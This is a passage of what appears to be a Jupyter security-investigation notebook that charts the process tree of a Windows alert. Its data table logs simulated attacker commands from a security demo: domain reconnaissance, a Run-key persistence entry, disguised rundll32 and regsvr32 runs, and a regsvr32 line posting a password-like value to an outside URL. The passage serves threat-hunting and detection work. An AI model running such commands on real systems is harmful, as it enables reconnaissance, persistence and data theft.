var timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "2182"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "utils.md(\"Visualize Entities\", \"large, bold\")\n",
    "utils.md(\"The red circle is the alert object. Green circles are the related entities.\")\n",
    "alertentity_graph = create_alert_graph(selected_alert)\n",
    "nbdisplay.plot_entity_graph(alertentity_graph, width=800, node_size=15)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "## Context for an Event or Alert"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Display Process Tree, Process Timeline, Trawl for IoCs"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:41:05.543295Z",
     "start_time": "2020-08-25T19:41:05.528294Z"
    }
   },
   "outputs": [],
   "source": [
    "# run the query to get the process tree\n",
    "process_df = qry_prov.WindowsSecurity.get_process_tree(selected_alert,\n",
    "                                                       start=search_q_times.start,\n",
    "                                                       end=search_q_times.end)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:41:07.412297Z",
     "start_time": "2020-08-25T19:41:07.065295Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold;font-size: 130%'>Process tree for alert process.</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "7a9a1793dac44384b376dea003f631ac",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HBox(children=(IntProgress(value=0, bar_style='info', description='Progress:'), Label(value='0%')))"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2411\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  var JS_MIME_TYPE = 'application/javascript';\n  var HTML_MIME_TYPE = 'text/html';\n  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  var CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    var script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    var cell = handle.cell;\n\n    var id = cell.output_area._bokeh_element_id;\n    var server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd, {\n        iopub: {\n          output: function(msg) {\n            var id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    var output_area = handle.output_area;\n    var output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n      return\n    }\n\n    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      var bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      var script_attrs = bk_div.children[0].attributes;\n      for (var i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      var toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    var events = require('base/js/events');\n    var OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"2411\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error() {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (var i = 0; i < css_urls.length; i++) {\n      var url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.async = false;\n      element.src = url;\n      if (url in hashes) {\n        element.crossOrigin = \"anonymous\";\n        element.integrity = \"sha384-\" + hashes[url];\n      }\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n  var css_urls = [];\n  \n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (var i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"2411\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"a1f95d40-b5a2-43cb-9446-fb39ab858611\" data-root-id=\"2526\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  var docs_json = {\"c5166637-eb15-4773-90c5-052bb97b5d2e\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2414\"},{\"id\":\"2484\"}]},\"id\":\"2526\",\"type\":\"Row\"},{\"attributes\":{\"ticks\":[1,2,3]},\"id\":\"2480\",\"type\":\"FixedTicker\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2520\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2533\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"range\":{\"id\":\"2417\"},\"value\":1.75},\"id\":\"2444\",\"type\":\"Dodge\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2472\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":\"ProcessTree\"},\"id\":\"2415\",\"type\":\"Title\"},{\"attributes\":{\"items\":[{\"id\":\"2458\"}],\"title\":\"Account\"},\"id\":\"2457\",\"type\":\"Legend\"},{\"attributes\":{\"axis\":{\"id\":\"2429\"},\"dimension\":1,\"grid_line_color\":\"navy\",\"ticker\":null,\"visible\":false},\"id\":\"2432\",\"type\":\"Grid\"},{\"attributes\":{\"axis\":{\"id\":\"2425\"},\"grid_line_alpha\":0.1,\"grid_line_color\":\"navy\",\"minor_grid_line_alpha\":0.1,\"minor_grid_line_color\":\"navy\",\"ticker\":{\"id\":\"2482\"}},\"id\":\"2428\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"2412\"}},\"id\":\"2465\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2502\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"2504\",\"type\":\"SaveTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"2413\"}},\"height\":{\"units\":\"data\",\"value\":0.95},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2444\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"2447\",\"type\":\"Rect\"},{\"attributes\":{\"text\":{\"field\":\"cmd\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"7pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2459\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2460\"}}},\"id\":\"2463\",\"type\":\"Text\"},{\"attributes\":{},\"id\":\"2505\",\"type\":\"ResetTool\"},{\"attributes\":{\"range\":{\"id\":\"2417\"},\"value\":1.8},\"id\":\"2473\",\"type\":\"Dodge\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"2521\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2501\"},{\"id\":\"2502\"},{\"id\":\"2503\"},{\"id\":\"2504\"},{\"id\":\"2505\"},{\"id\":\"2506\"},{\"id\":\"2521\"}]},\"id\":\"2508\",\"type\":\"Toolbar\"},{\"attributes\":{\"text\":{\"field\":\"cmd\"},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"7pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2459\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2460\"}}},\"id\":\"2462\",\"type\":\"Text\"},{\"attributes\":{},\"id\":\"2485\",\"type\":\"DataRange1d\"},{\"attributes\":{\"factors\":[\"WORKGROUP\\\\MSTICAlertsWin1$\",\"MSTICAlertsWin1\\\\MSTICAdmin\"],\"palette\":[\"#440154\",\"#208F8C\",\"#FDE724\"]},\"id\":\"2413\",\"type\":\"CategoricalColorMapper\"},{\"attributes\":{\"range\":{\"id\":\"2419\"},\"value\":0.25},\"id\":\"2474\",\"type\":\"Dodge\"},{\"attributes\":{\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5},\"id\":\"2522\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"TimeGenerated\":\"datetime\"},\"renderers\":[{\"id\":\"2448\"}],\"tooltips\":[[\"Process\",\"@NewProcessName\"],[\"PID\",\"@PID\"],[\"CmdLine\",\"@CommandLine\"],[\"SubjUser\",\"@SubjectUserName\"],[\"SubjLgnId\",\"@SubjectLogonId\"],[\"TargLgnId\",\"@TargetLogonId\"],[\"Time\",\"@TimeGenerated{%F %T}\"]]},\"id\":\"2442\",\"type\":\"HoverTool\"},{\"attributes\":{\"overlay\":{\"id\":\"2507\"}},\"id\":\"2503\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"end\":6,\"start\":1},\"id\":\"2417\",\"type\":\"Range1d\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2469\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2470\"},\"selection_glyph\":null,\"view\":{\"id\":\"2472\"}},\"id\":\"2471\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null},\"id\":\"2436\",\"type\":\"TapTool\"},{\"attributes\":{\"axis_line_color\":null,\"formatter\":{\"id\":\"2453\"},\"major_label_standoff\":0,\"major_tick_line_color\":\"navy\",\"ticker\":{\"id\":\"2430\"},\"visible\":false},\"id\":\"2429\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis_line_color\":null,\"formatter\":{\"id\":\"2451\"},\"major_label_standoff\":0,\"major_tick_line_color\":\"navy\",\"ticker\":{\"id\":\"2480\"},\"visible\":false},\"id\":\"2425\",\"type\":\"LinearAxis\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2507\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"2535\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"2491\",\"type\":\"LinearScale\"},{\"attributes\":{\"text\":\"\"},\"id\":\"2529\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2421\",\"type\":\"LinearScale\"},{\"attributes\":{\"below\":[{\"id\":\"2493\"}],\"center\":[{\"id\":\"2496\"},{\"id\":\"2500\"}],\"left\":[{\"id\":\"2497\"}],\"plot_height\":700,\"plot_width\":90,\"renderers\":[{\"id\":\"2519\"}],\"title\":{\"id\":\"2529\"},\"toolbar\":{\"id\":\"2508\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"2485\"},\"x_scale\":{\"id\":\"2489\"},\"y_range\":{\"id\":\"2487\"},\"y_scale\":{\"id\":\"2491\"}},\"id\":\"2484\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2462\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2463\"},\"selection_glyph\":null,\"view\":{\"id\":\"2465\"}},\"id\":\"2464\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"dimensions\":\"height\"},\"id\":\"2433\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"2423\",\"type\":\"LinearScale\"},{\"attributes\":{\"text\":{\"field\":\"Exe\"},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2466\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2467\"}}},\"id\":\"2469\",\"type\":\"Text\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"2413\"}},\"height\":{\"units\":\"data\",\"value\":0.8},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2515\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"2518\",\"type\":\"Rect\"},{\"attributes\":{},\"id\":\"2489\",\"type\":\"LinearScale\"},{\"attributes\":{\"ticks\":[1,2,3]},\"id\":\"2482\",\"type\":\"FixedTicker\"},{\"attributes\":{\"label\":{\"field\":\"Account\"},\"renderers\":[{\"id\":\"2448\"}]},\"id\":\"2458\",\"type\":\"LegendItem\"},{\"attributes\":{\"text\":{\"field\":\"PID\"},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"2473\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"2474\"}}},\"id\":\"2476\",\"type\":\"Text\"},{\"attributes\":{\"range\":{\"id\":\"2417\"},\"value\":0.1},\"id\":\"2459\",\"type\":\"Dodge\"},{\"attributes\":{\"data_source\":{\"id\":\"2412\"},\"glyph\":{\"id\":\"2517\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2518\"},\"selection_glyph\":null,\"view\":{\"id\":\"2520\"}},\"id\":\"2519\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2430\",\"type\":\"BasicTicker\"},{\"attributes\":{\"end\":19,\"start\":-1},\"id\":\"2487\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2434\",\"type\":\"ResetTool\"},{\"attributes\":{\"data\":{\"Account\":[\"NaN\",\"WORKGROUP\\\\MSTICAlertsWin1$\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"MSTICAlertsWin1\\\\MSTICAdmin\"],\"CommandLine\":[\"NaN\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 3\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"hostname\",\"netstat  -an\",\"net  user Bob1 /domain\",\"net  user BobX /domain\",\"net  group \\\"Domain Admins\\\" /domain\",\".\\\\reg.exe  add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd  /c echo End Security Demo tasks\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd  /c echo Any questions about the commands executed here then please contact one of\",\"cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe zip archive.mdb\",\".\\\\regsvr32  /u /s c:\\\\windows\\\\fonts\\\\csrss.exe \\\"http://www.401k.com/upload?pass=34592389\\\" post\",\"tasklist\",\"net  localgroup Administrators\",\"whoami\"],\"Computer\":[\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\"],\"EffectiveLogonId\":[\"0x3e7\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\"],\"EffectiveLogonId_par\":[\"NaN\",\"0x3e7\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"Exe\":[\"svchost.exe\",\"cmd.exe\",\"conhost.exe\",\"HOSTNAME.EXE\",\"NETSTAT.EXE\",\"net.exe\",\"net.exe\",\"net.exe\",\"reg.exe\",\"cmd.exe\",\"cmd.exe\",\"cmd.exe\",\"cmd.exe\",\"rundll32.exe\",\"regsvr32.exe\",\"tasklist.exe\",\"net.exe\",\"whoami.exe\"],\"IsBranch\":[false,true,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false],\"IsLeaf\":[false,false,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true],\"IsRoot\":[true,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false],\"Level\":[1,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3],\"NewProcessId\":[\"0x498\",\"0x12f4\",\"0x6dc\",\"0x6e8\",\"0xd98\",\"0xfe4\",\"0x2f0\",\"0x18c\",\"0x13a0\",\"0x10dc\",\"0x114c\",\"0xfa4\",\"0x1164\",\"0x12b0\",\"0x1150\",\"0xdd4\",\"0xc34\",\"0xc64\"],\"NewProcessId1\":[\"NaN\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],\"NewProcessId_par\":[\"NaN\",\"0x498\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\"],\"NewProcessName\":[\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\W!ndows\\\\System32\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\rundll32.exe\",\"C:\\\\W!ndows\\\\System32\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\"],\"NewProcessName_par\":[\"NaN\",\"NaN\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"NodeRole\":[\"NaN\",\"parent\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"source\",\"sibling\",\"sibling\",\"sibling\"],\"PID\":[\"PID: 0x498 (1176)\",\"PID: 0x12f4 (4852)\",\"PID: 0x6dc (1756)\",\"PID: 